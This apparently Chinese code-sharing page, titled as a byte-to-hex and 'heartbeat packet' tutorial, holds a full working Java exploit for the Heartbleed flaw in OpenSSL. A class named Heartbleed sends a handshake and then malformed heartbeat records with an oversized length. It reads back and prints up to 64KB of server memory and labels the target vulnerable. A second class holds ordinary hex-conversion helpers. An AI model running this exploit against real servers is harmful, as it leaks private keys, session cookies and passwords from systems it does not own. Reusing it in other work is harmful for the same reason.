java byte转16进制 java发送heartbeat心跳包(byte转16进制)

时间:2021-03-19 人气:0

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复制代码代码如下:

package com.jxy.web;

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.UnsupportedEncodingException;
import java.net.Socket;
import java.net.UnknownHostException;

import com.jxy.tools.MyByte;

public class Heartbleed {
private static byte[] hello = { (byte) 0x16, (byte) 0x03, (byte) 0x02,
   (byte) 0x00, (byte) 0xdc, (byte) 0x01, (byte) 0x00, (byte) 0x00,
   (byte) 0xd8, (byte) 0x03, (byte) 0x02, (byte) 0x53, (byte) 0x43,
   (byte) 0x5b, (byte) 0x90, (byte) 0x9d, (byte) 0x9b, (byte) 0x72,
   (byte) 0x0b, (byte) 0xbc, (byte) 0x0c, (byte) 0xbc, (byte) 0x2b,
   (byte) 0x92, (byte) 0xa8, (byte) 0x48, (byte) 0x97, (byte) 0xcf,
   (byte) 0xbd, (byte) 0x39, (byte) 0x04, (byte) 0xcc, (byte) 0x16,
   (byte) 0x0a, (byte) 0x85, (byte) 0x03, (byte) 0x90, (byte) 0x9f,
   (byte) 0x77, (byte) 0x04, (byte) 0x33, (byte) 0xd4, (byte) 0xde,
   (byte) 0x00, (byte) 0x00, (byte) 0x66, (byte) 0xc0, (byte) 0x14,
   (byte) 0xc0, (byte) 0x0a, (byte) 0xc0, (byte) 0x22, (byte) 0xc0,
   (byte) 0x21, (byte) 0x00, (byte) 0x39, (byte) 0x00, (byte) 0x38,
   (byte) 0x00, (byte) 0x88, (byte) 0x00, (byte) 0x87, (byte) 0xc0,
   (byte) 0x0f, (byte) 0xc0, (byte) 0x05, (byte) 0x00, (byte) 0x35,
   (byte) 0x00, (byte) 0x84, (byte) 0xc0, (byte) 0x12, (byte) 0xc0,
   (byte) 0x08, (byte) 0xc0, (byte) 0x1c, (byte) 0xc0, (byte) 0x1b,
   (byte) 0x00, (byte) 0x16, (byte) 0x00, (byte) 0x13, (byte) 0xc0,
   (byte) 0x0d, (byte) 0xc0, (byte) 0x03, (byte) 0x00, (byte) 0x0a,
   (byte) 0xc0, (byte) 0x13, (byte) 0xc0, (byte) 0x09, (byte) 0xc0,
   (byte) 0x1f, (byte) 0xc0, (byte) 0x1e, (byte) 0x00, (byte) 0x33,
   (byte) 0x00, (byte) 0x32, (byte) 0x00, (byte) 0x9a, (byte) 0x00,
   (byte) 0x99, (byte) 0x00, (byte) 0x45, (byte) 0x00, (byte) 0x44,
   (byte) 0xc0, (byte) 0x0e, (byte) 0xc0, (byte) 0x04, (byte) 0x00,
   (byte) 0x2f, (byte) 0x00, (byte) 0x96, (byte) 0x00, (byte) 0x41,
   (byte) 0xc0, (byte) 0x11, (byte) 0xc0, (byte) 0x07, (byte) 0xc0,
   (byte) 0x0c, (byte) 0xc0, (byte) 0x02, (byte) 0x00, (byte) 0x05,
   (byte) 0x00, (byte) 0x04, (byte) 0x00, (byte) 0x15, (byte) 0x00,
   (byte) 0x12, (byte) 0x00, (byte) 0x09, (byte) 0x00, (byte) 0x14,
   (byte) 0x00, (byte) 0x11, (byte) 0x00, (byte) 0x08, (byte) 0x00,
   (byte) 0x06, (byte) 0x00, (byte) 0x03, (byte) 0x00, (byte) 0xff,
   (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x00,
   (byte) 0x0b, (byte) 0x00, (byte) 0x04, (byte) 0x03, (byte) 0x00,
   (byte) 0x01, (byte) 0x02, (byte) 0x00, (byte) 0x0a, (byte) 0x00,
   (byte) 0x34, (byte) 0x00, (byte) 0x32, (byte) 0x00, (byte) 0x0e,
   (byte) 0x00, (byte) 0x0d, (byte) 0x00, (byte) 0x19, (byte) 0x00,
   (byte) 0x0b, (byte) 0x00, (byte) 0x0c, (byte) 0x00, (byte) 0x18,
   (byte) 0x00, (byte) 0x09, (byte) 0x00, (byte) 0x0a, (byte) 0x00,
   (byte) 0x16, (byte) 0x00, (byte) 0x17, (byte) 0x00, (byte) 0x08,
   (byte) 0x00, (byte) 0x06, (byte) 0x00, (byte) 0x07, (byte) 0x00,
   (byte) 0x14, (byte) 0x00, (byte) 0x15, (byte) 0x00, (byte) 0x04,
   (byte) 0x00, (byte) 0x05, (byte) 0x00, (byte) 0x12, (byte) 0x00,
   (byte) 0x13, (byte) 0x00, (byte) 0x01, (byte) 0x00, (byte) 0x02,
   (byte) 0x00, (byte) 0x03, (byte) 0x00, (byte) 0x0f, (byte) 0x00,
   (byte) 0x10, (byte) 0x00, (byte) 0x11, (byte) 0x00, (byte) 0x23,
   (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0f, (byte) 0x00,
   (byte) 0x01, (byte) 0x01 };
private static byte[] bleed = { (byte) 0x18, (byte) 0x03, (byte) 0x02,
   (byte) 0x00, (byte) 0x03, (byte) 0x01, (byte) 0xff, (byte) 0xff };
private static byte[] tmp;
private static byte[] pay;

/**
* SSL3_RT_CHANGE_CIPHER_SPEC 20
* SSL3_RT_ALERT 21
* SSL3_RT_HANDSHAKE 22
* SSL3_RT_APPLICATION_DATA 23
* TLS1_RT_HEARTBEAT 24
*
* @param args
* @throws Exception
*/

public static void main(String[] args) {
attack("改为自己测试的主机", 465);
System.exit(0);
}

public static boolean attack(String host, int port) {

  System.out.println("开始连接...");
  Socket socket = null;
  try {
   socket = new Socket(host, port);
  } catch (UnknownHostException e) {
   System.out.println("未知主机.");
   return false;
  } catch (IOException e) {
   System.out.println("访问主机失败.");
   return false;
  }
  OutputStream out = null;
  try {
   out = socket.getOutputStream();
  } catch (IOException e) {
   System.out.println("获取输出流失败.");
   return false;
  }
  InputStream in = null;
  try {
   in = socket.getInputStream();
  } catch (IOException e) {
   System.out.println("获取输入流失败.");
   return false;
  }

System.out.println("发送客户端心跳包...");

  try {
   out.write(hello);
  } catch (IOException e) {
   System.out.println("发送心跳包失败.");
   return false;
  }

System.out.println("等待服务器心跳包...");

  while (true) {
   tmp = getData(in, 5);
   if (tmp[0] == 0) {
    System.out.println("服务器没有返回心跳包并且关闭了连接.");
    return false;
   }

analyseHead(tmp);

int len = (int) MyByte.HexString2Long(MyByte
.byteToHexString(tmp[3]) + MyByte.byteToHexString(tmp[4]));

pay = getData(in, len);

   if (tmp[0] == 22 && pay[0] == 0x0E) {
    System.out.println("查找到返回正常的心跳包。");
    break;
   }

}

System.out.println("发送heartbeat心跳包...");

  try {
   out.write(bleed);
  } catch (IOException e) {
   System.out.println("发送heartbeat心跳包失败.");
   return false;
  }
  try {
   out.write(bleed);
  } catch (IOException e) {
   System.out.println("发送heartbeat心跳包失败.");
   return false;
  }

  while (true) {
   tmp = getData(in, 5);
   int len = (int) MyByte.HexString2Long(MyByte
     .byteToHexString(tmp[3]) + MyByte.byteToHexString(tmp[4]));

   if (tmp[0] == 0) {
    System.out.println("没有heartbeat返回接收到, 服务器看起来不是易受攻击的");
    return false;
   }

if (tmp[0] == 24) {
System.out.println("接收到heartbeat返回:");

    int count=0;//长度计数
    for (int i = 0; i < 4; i++) {//读4次，全部读出64KB
     pay = getData(in, len);
     count+=pay.length;
     System.out.print(hexdump(pay));
    }

System.out.println("\n数据长度为:" + count);

    if (len > 3) {
     System.out
       .println("警告: 服务器返回了原本比它多的数据 -服务器是易受攻击的!");
    } else {
     System.out
       .println("服务器返回畸形的heartbeat, 没有返回其他额外的数据");
    }

break;

}

   if (tmp[0] == 21) {
    System.out.println("接收到警告:");
    System.out.println(hexdump(pay));
    System.out.println("服务器返回错误,看起来不是易受攻击的");
    break;
   }

}

  try {
   out.close();
   in.close();
  } catch (IOException e) {
   System.out.println("关闭输入输出流异常");
  }

return true;
}

public static byte[] getData(InputStream in, int lenth) {
  byte[] t = new byte[lenth];
  try {
   in.read(t);
  } catch (IOException e) {
   System.out.println("接受数据错误");
  }
  return t;
}

public static String hexdump(byte[] pay) {
  String s = "";
  try {
   s = new String(pay, "GB2312");
  } catch (UnsupportedEncodingException e) {
   System.out.println("未知编码");
  }
  return s;
}

public static void analyseHead(byte[] tmp) {
  System.out.print("接收到消息: ");
  System.out.print("类型:" + tmp[0] + "\t");
  System.out.print("版本:" + MyByte.byteToHexString(tmp[1])
    + MyByte.byteToHexString(tmp[2]) + "\t");
  System.out.println("长度:"
    + MyByte.HexString2Long(MyByte.byteToHexString(tmp[3])
      + MyByte.byteToHexString(tmp[4])));

}

复制代码代码如下:

package com.jxy.tools;

/**
* 16进制值与String/Byte之间的转换
* */
public class MyByte {

/**
* 字符串转换成十六进制字符串
*
* @param String
* str 待转换的ASCII字符串
* @return String 每个Byte之间空格分隔，如: [61 6C 6B]
*/
public static String str2HexStr(String str) {

  char[] chars = "0123456789ABCDEF".toCharArray();
  StringBuilder sb = new StringBuilder("");
  byte[] bs = str.getBytes();
  int bit;

  for (int i = 0; i < bs.length; i++) {
   bit = (bs[i] & 0x0f0) >> 4;
   sb.append(chars[bit]);
   bit = bs[i] & 0x0f;
   sb.append(chars[bit]);
   sb.append(' ');
  }
  return sb.toString().trim();
}

/**
* 十六进制转换字符串
*
* @param String
*            str Byte字符串(Byte之间无分隔符如:[616C6B])
* @return String 对应的字符串
*/
public static String hexStr2Str(String hexStr) {
  String str = "0123456789ABCDEF";
  char[] hexs = hexStr.toCharArray();
  byte[] bytes = new byte[hexStr.length() / 2];
  int n;

  for (int i = 0; i < bytes.length; i++) {
   n = str.indexOf(hexs[2 * i]) * 16;
   n += str.indexOf(hexs[2 * i + 1]);
   bytes[i] = (byte) (n & 0xff);
  }
  return new String(bytes);
}

/**
* String的字符串转换成unicode的String
*
* @param String
*            strText 全角字符串
* @return String 每个unicode之间无分隔符
* @throws Exception
*/
public static String strToUnicode(String strText) throws Exception {
  char c;
  StringBuilder str = new StringBuilder();
  int intAsc;
  String strHex;
  for (int i = 0; i < strText.length(); i++) {
   c = strText.charAt(i);
   intAsc = (int) c;
   strHex = Integer.toHexString(intAsc);
   if (intAsc > 128)
    str.append("\\u" + strHex);
   else
    // 低位在前面补00
    str.append("\\u00" + strHex);
  }
  return str.toString();
}

/**
* unicode的String转换成String的字符串
*
* @param String
*            hex 16进制值字符串（一个unicode为2byte）
* @return String 全角字符串
*/
public static String unicodeToString(String hex) {
  int t = hex.length() / 6;
  StringBuilder str = new StringBuilder();
  for (int i = 0; i < t; i++) {
   String s = hex.substring(i * 6, (i + 1) * 6);
   // 高位需要补上00再转
   String s1 = s.substring(2, 4) + "00";
   // 低位直接转
   String s2 = s.substring(4);
   // 将16进制的string转为int
   int n = Integer.valueOf(s1, 16) + Integer.valueOf(s2, 16);
   // 将int转换为字符
   char[] chars = Character.toChars(n);
   str.append(new String(chars));
  }
  return str.toString();
}

/**
* 合并两个byte数组
*
* @param pByteA
* @param pByteB
* @return
*/
public static byte[] getMergeBytes(byte[] pByteA, byte[] pByteB) {
  int aCount = pByteA.length;
  int bCount = pByteB.length;
  byte[] b = new byte[aCount + bCount];
  for (int i = 0; i < aCount; i++) {
   b[i] = pByteA[i];
  }
  for (int i = 0; i < bCount; i++) {
   b[aCount + i] = pByteB[i];
  }
  return b;
}

/**
* 截取byte数据
*
* @param b
*            是byte数组
* @param j
*            是大小
* @return
*/
public static byte[] cutOutByte(byte[] b, int j) {
  if (b.length == 0 || j == 0) {
   return null;
  }
  byte[] tmp = new byte[j];
  for (int i = 0; i < j; i++) {
   tmp[i] = b[i];
  }
  return tmp;
}

/**
* 16进制字符串转换byte数组
*
* @param hexstr
*            String 16进制字符串
* @return byte[] byte数组
*/
public static byte[] HexString2Bytes(String hexstr) {
  byte[] b = new byte[hexstr.length() / 2];
  int j = 0;
  for (int i = 0; i < b.length; i++) {
   char c0 = hexstr.charAt(j++);
   char c1 = hexstr.charAt(j++);
   b[i] = (byte) ((parse(c0) << 4) | parse(c1));
  }
  return b;
}

private static int parse(char c) {
  if (c >= 'a')
   return (c - 'a' + 10) & 0x0f;
  if (c >= 'A')
   return (c - 'A' + 10) & 0x0f;
  return (c - '0') & 0x0f;
}

/**
* byte转换为十六进制字符串，如果为9以内的，用0补齐
*
* @param b
* @return
*/
public static String byteToHexString(byte b) {
  String stmp = Integer.toHexString(b & 0xFF);
  stmp = (stmp.length() == 1) ? "0" + stmp : stmp;
  return stmp.toUpperCase();
}

/**
* 将byte转换为int
*
* @param b
* @return
*/
public static int byteToInt(byte b) {
return Integer.valueOf(b);
}

/**
* bytes转换成十六进制字符串
*
* @param byte[] b byte数组
* @return String 每个Byte值之间空格分隔
*/
public static String byteToHexString(byte[] b) {
  String stmp = "";
  StringBuilder sb = new StringBuilder("");
  for (byte c : b) {
   stmp = Integer.toHexString(c & 0xFF);// 与预算，去掉byte转int带来的补位
   sb.append((stmp.length() == 1) ? "0" + stmp : stmp);// 是一位的话填充零
   sb.append(" ");// 每位数据用空格分隔
  }
  return sb.toString().toUpperCase().trim();// 变换大写，并去除首尾空格
}

public static long HexString2Long(String hexstr) {
  long sum=0;
  int length=hexstr.length();
  for (int i = 0; i < length; i++) {
   sum+=parse(hexstr.charAt(i))*Math.pow(16,length-i-1);
  }
  return sum;
}
}

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